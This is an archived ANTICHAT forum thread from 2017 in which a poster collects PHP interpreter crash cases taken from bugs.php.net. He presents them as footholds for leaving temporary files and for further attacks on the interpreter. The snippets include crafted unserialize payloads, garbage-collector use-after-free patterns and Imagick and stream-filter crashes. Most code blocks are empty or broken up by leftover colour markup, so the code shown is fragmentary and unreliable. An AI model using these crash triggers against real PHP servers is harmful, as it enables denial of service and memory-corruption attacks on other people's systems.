ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |

13.12.2017, 17:35
|
|
Guest
Сообщений: n/a
Провел на форуме: 169212
Репутация:
441
|
|
В процессе поиска на bugs.php.net краша под свой случай, накопилось много различных реализаций. К сожаленю, я всё ещё в поисках, поэтому предлагаю постить здесь различные примеры и, по возможности, обсуждать их.
Различные кейсы могут быть полезны для возможности оставления временных файлов, развития дальнейшей атаки на интерпретатор и других хитрых штук
Потестить на различных версиях пыха можно здесь.
Следующие примеры тестились на Linuxс PHP 5.6.32.
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR]
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR]
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR]
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR]
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]f[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$foo[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$d[/COLOR][COLOR="#007700"]=new[/COLOR][COLOR="#0000BB"]bad[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]unserialize[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]serialize[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$foo[/COLOR][COLOR="#007700"]));[/COLOR][COLOR="#0000BB"]gc_collect_cycles[/COLOR][COLOR="#007700"]();
[/COLOR][COLOR="#0000BB"]?>[/COLOR][/COLOR]
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]e[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]ob0ect[/COLOR][COLOR="#007700"]=new\[/COLOR][COLOR="#0000BB"]stdClass[/COLOR][COLOR="#007700"];}public function[/COLOR][COLOR="#0000BB"]__destruct[/COLOR][COLOR="#007700"](){[/COLOR][COLOR="#FF8000"]// [/COLOR][COLOR="#007700"]if(![/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]ob0ect[/COLOR][COLOR="#007700"])([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#0000BB"]var_dump[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]);}}class[/COLOR][COLOR="#0000BB"]SomeContainer[/COLOR][COLOR="#007700"]{public function[/COLOR][COLOR="#0000BB"]run[/COLOR][COLOR="#007700"](){new[/COLOR][COLOR="#0000BB"]SegfaultScenario[/COLOR][COLOR="#007700"];}}[/COLOR][COLOR="#0000BB"]$container[/COLOR][COLOR="#007700"]=new[/COLOR][COLOR="#0000BB"]SomeContainer[/COLOR][COLOR="#007700"]();[/COLOR][COLOR="#0000BB"]$container[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]run[/COLOR][COLOR="#007700"]();[/COLOR][COLOR="#0000BB"]gc_collect_cycles[/COLOR][COLOR="#007700"]();
[/COLOR][COLOR="#0000BB"]?>[/COLOR][/COLOR]
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]newImage[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'black'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#FF8000"]// This works fine [/COLOR][COLOR="#0000BB"]$it[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$im[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]getPixelIterator[/COLOR][COLOR="#007700"](); [/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$it[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]getCurrentIteratorRow[/COLOR][COLOR="#007700"](); [/COLOR][COLOR="#0000BB"]$rgb[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]]->[/COLOR][COLOR="#0000BB"]getColor[/COLOR][COLOR="#007700"]();
[/COLOR][COLOR="#0000BB"]var_dump[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$rgb[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#FF8000"]// This crashes with SIGABRT [/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$im[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]getPixelIterator[/COLOR][COLOR="#007700"]()->[/COLOR][COLOR="#0000BB"]getCurrentIteratorRow[/COLOR][COLOR="#007700"](); [/COLOR][COLOR="#0000BB"]$rgb[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]]->[/COLOR][COLOR="#0000BB"]getColor[/COLOR][COLOR="#007700"]();
[/COLOR][COLOR="#0000BB"]var_dump[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$rgb[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]?>[/COLOR][/COLOR]
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR]
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR]
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR]
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR]
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR]
[PHP]
PHP:
0; --$len) {
$className.=$symbols[rand(0,count($symbols) -1)];
}
} while (class_exists($className,false));
$className=trim($className,'_ ');
$code='
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]data[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]; }
public function[/COLOR][COLOR="#0000BB"]__toString[/COLOR][COLOR="#007700"]() { [/COLOR][COLOR="#0000BB"]openssl_pkey_export[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]data[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$output[/COLOR][COLOR="#007700"]); return[/COLOR][COLOR="#0000BB"]$output[/COLOR][COLOR="#007700"]; }
}
[/COLOR][COLOR="#0000BB"]$csr[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]openssl_csr_new[/COLOR][COLOR="#007700"]([],[/COLOR][COLOR="#0000BB"]$privateKey[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]$certificate[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]openssl_csr_sign[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$csr[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]NULL[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$privateKey[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$privateKey[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]PrivateKey[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$privateKey[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]openssl_pkcs12_export_to_file[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$certificate[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'/tmp/test.p12'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$privateKey[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]?>[/COLOR][/COLOR]
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR]
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]createElement[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'el_a'[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]appendChild[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$doc1[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]?>[/COLOR][/COLOR]
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR]
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR]
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]append[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$x[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]?>[/COLOR][/COLOR]
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]stream[/COLOR][COLOR="#007700"]); } } [/COLOR][COLOR="#0000BB"]stream_filter_register[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'user_filter'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'user_filter'[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]$fd[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]fopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'php://memory'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'w'[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]$filter[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]stream_filter_append[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fd[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'user_filter'[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]fwrite[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fd[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"foo"[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]?>[/COLOR][/COLOR]
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR]
|
|
|
|

16.12.2017, 15:07
|
|
Guest
Сообщений: n/a
Провел на форуме: 169212
Репутация:
441
|
|

Ещё немного "роняний"
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#DD0000"]"\r\n"[/COLOR][COLOR="#007700"]));
[/COLOR][COLOR="#0000BB"]$lines[/COLOR][COLOR="#007700"]= [ [/COLOR][COLOR="#DD0000"]"\r\n"[/COLOR][COLOR="#007700"], [/COLOR][COLOR="#DD0000"]" -=()\r\n"[/COLOR][COLOR="#007700"], [/COLOR][COLOR="#DD0000"]" -=\r\n"[/COLOR][COLOR="#007700"], [/COLOR][COLOR="#DD0000"]"\r\n" [/COLOR][COLOR="#007700"]];
foreach ([/COLOR][COLOR="#0000BB"]$lines[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"]) { try { [/COLOR][COLOR="#0000BB"]fwrite[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fh[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$line[/COLOR][COLOR="#007700"]); } catch (\[/COLOR][COLOR="#0000BB"]Exception $e[/COLOR][COLOR="#007700"]) { } }
[/COLOR][COLOR="#0000BB"]fclose[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fh[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]?>[/COLOR][/COLOR]
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]5[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'line-break-chars'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]"\r\n"[/COLOR][COLOR="#007700"])); [/COLOR][COLOR="#0000BB"]rewind[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]stream_copy_to_stream[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$stream[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]?>[/COLOR][/COLOR]
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]loadXML[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'
'[/COLOR][COLOR="#007700"]); if ([/COLOR][COLOR="#0000BB"]$dom[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]documentElement[/COLOR][COLOR="#007700"]) { if ([/COLOR][COLOR="#0000BB"]$spaceNode[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$dom[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]documentElement[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]getAttributeNode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'xmlns'[/COLOR][COLOR="#007700"])) { [/COLOR][COLOR="#0000BB"]$spaceNode[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]parentNode[/COLOR][COLOR="#007700"]; } }
[/COLOR][COLOR="#0000BB"]?>[/COLOR][/COLOR]
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]aProperty[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$root[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$root[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$tmp[/COLOR][COLOR="#007700"]; }
echo[/COLOR][COLOR="#DD0000"]"Finished making objects!\n"[/COLOR][COLOR="#007700"]; }
[/COLOR][COLOR="#0000BB"]fun[/COLOR][COLOR="#007700"](); echo[/COLOR][COLOR="#DD0000"]"Done!\n"[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]?>[/COLOR][/COLOR]
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]n0[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$node[/COLOR][COLOR="#007700"];return[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"];}}class[/COLOR][COLOR="#0000BB"]Lin0edList[/COLOR][COLOR="#007700"]{private[/COLOR][COLOR="#0000BB"]$d[/COLOR][COLOR="#007700"];public function[/COLOR][COLOR="#0000BB"]addNode[/COLOR][COLOR="#007700"](){[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]head[/COLOR][COLOR="#007700"]=(new[/COLOR][COLOR="#0000BB"]Node[/COLOR][COLOR="#007700"])->[/COLOR][COLOR="#0000BB"]setNe0t[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]head[/COLOR][COLOR="#007700"]);}}[/COLOR][COLOR="#0000BB"]$ll[/COLOR][COLOR="#007700"]=new[/COLOR][COLOR="#0000BB"]Lin0edList[/COLOR][COLOR="#007700"];for(;[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]addNode[/COLOR][COLOR="#007700"]();}
[/COLOR][COLOR="#0000BB"]?>[/COLOR][/COLOR]
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]self_recursive[/COLOR][COLOR="#007700"](); } }
[/COLOR][COLOR="#0000BB"]$obj[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]ABC[/COLOR][COLOR="#007700"](); [/COLOR][COLOR="#0000BB"]$obj[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]self_recursive[/COLOR][COLOR="#007700"]();
[/COLOR][COLOR="#0000BB"]?>[/COLOR][/COLOR]
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR]
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR]
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR]
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]object[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$object[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]oarray[/COLOR][COLOR="#007700"]= &[/COLOR][COLOR="#0000BB"]$array[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]element[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$element[/COLOR][COLOR="#007700"]; } function[/COLOR][COLOR="#0000BB"]offsetExists[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$index[/COLOR][COLOR="#007700"]) { echo[/COLOR][COLOR="#0000BB"]__METHOD__[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]element[/COLOR][COLOR="#DD0000"],[/COLOR][COLOR="#0000BB"]$index[/COLOR][COLOR="#DD0000"])\n"[/COLOR][COLOR="#007700"]; return[/COLOR][COLOR="#0000BB"]array_key_exists[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$index[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]oarray[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]element[/COLOR][COLOR="#007700"]]); } function[/COLOR][COLOR="#0000BB"]offsetGet[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$index[/COLOR][COLOR="#007700"]) { echo[/COLOR][COLOR="#0000BB"]__METHOD__[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]element[/COLOR][COLOR="#DD0000"],[/COLOR][COLOR="#0000BB"]$index[/COLOR][COLOR="#DD0000"])\n"[/COLOR][COLOR="#007700"]; return isset([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]oarray[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]element[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#0000BB"]$index[/COLOR][COLOR="#007700"]]) ?[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]oarray[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]element[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#0000BB"]$index[/COLOR][COLOR="#007700"]] :[/COLOR][COLOR="#0000BB"]NULL[/COLOR][COLOR="#007700"]; } function[/COLOR][COLOR="#0000BB"]offsetSet[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$index[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$value[/COLOR][COLOR="#007700"]) { echo[/COLOR][COLOR="#0000BB"]__METHOD__[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]element[/COLOR][COLOR="#DD0000"],[/COLOR][COLOR="#0000BB"]$index[/COLOR][COLOR="#DD0000"],[/COLOR][COLOR="#0000BB"]$value[/COLOR][COLOR="#DD0000"])\n"[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]oarray[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]element[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#0000BB"]$index[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]$value[/COLOR][COLOR="#007700"]; } function[/COLOR][COLOR="#0000BB"]offsetUnset[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$index[/COLOR][COLOR="#007700"]) { echo[/COLOR][COLOR="#0000BB"]__METHOD__[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]element[/COLOR][COLOR="#DD0000"],[/COLOR][COLOR="#0000BB"]$index[/COLOR][COLOR="#DD0000"])\n"[/COLOR][COLOR="#007700"]; unset([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]object[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]element[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#0000BB"]$index[/COLOR][COLOR="#007700"]]); } } class[/COLOR][COLOR="#0000BB"]Peoples[/COLOR][COLOR="#007700"]implements[/COLOR][COLOR="#0000BB"]ArrayAccess [/COLOR][COLOR="#007700"]{ public[/COLOR][COLOR="#0000BB"]$person[/COLOR][COLOR="#007700"]; function[/COLOR][COLOR="#0000BB"]__construct[/COLOR][COLOR="#007700"]() { [/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]person[/COLOR][COLOR="#007700"]= array(array([/COLOR][COLOR="#DD0000"]'name'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'Foo'[/COLOR][COLOR="#007700"])); } function[/COLOR][COLOR="#0000BB"]offsetExists[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$index[/COLOR][COLOR="#007700"]) { return[/COLOR][COLOR="#0000BB"]array_key_exists[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$index[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]person[/COLOR][COLOR="#007700"]); } function[/COLOR][COLOR="#0000BB"]offsetGet[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$index[/COLOR][COLOR="#007700"]) { if ([/COLOR][COLOR="#0000BB"]is_array[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]person[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$index[/COLOR][COLOR="#007700"]])) { return new[/COLOR][COLOR="#0000BB"]ArrayAccessReferenceProxy[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]person[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$index[/COLOR][COLOR="#007700"]); } else { return[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]person[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$index[/COLOR][COLOR="#007700"]]; } } function[/COLOR][COLOR="#0000BB"]offsetSet[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$index[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$value[/COLOR][COLOR="#007700"]) { [/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]person[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$index[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]$value[/COLOR][COLOR="#007700"]; } function[/COLOR][COLOR="#0000BB"]offsetUnset[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$index[/COLOR][COLOR="#007700"]) { unset([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]person[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$index[/COLOR][COLOR="#007700"]]); } } [/COLOR][COLOR="#0000BB"]$people[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]Peoples[/COLOR][COLOR="#007700"]; echo[/COLOR][COLOR="#DD0000"]"===ArrayOverloading===\n"[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$people[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]Peoples[/COLOR][COLOR="#007700"]; unset([/COLOR][COLOR="#0000BB"]$people[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'name'[/COLOR][COLOR="#007700"]]); [/COLOR][COLOR="#0000BB"]var_dump[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$people[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]]);
[/COLOR][COLOR="#0000BB"]?>[/COLOR][/COLOR]
|
|
|
|

22.12.2017, 17:53
|
|
Guest
Сообщений: n/a
Провел на форуме: 169212
Репутация:
441
|
|
Сообщение от Britney Spears
Britney Spears said:
Gimme gimme more, gimme more, gimme gimme more [x4]
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"]$x[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'O:16:"DOMConfiguration":1:{s:1:"A";r:1;}'[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]var_dump[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]unserialize[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$x[/COLOR][COLOR="#007700"])); [/COLOR][/COLOR]
PHP код:
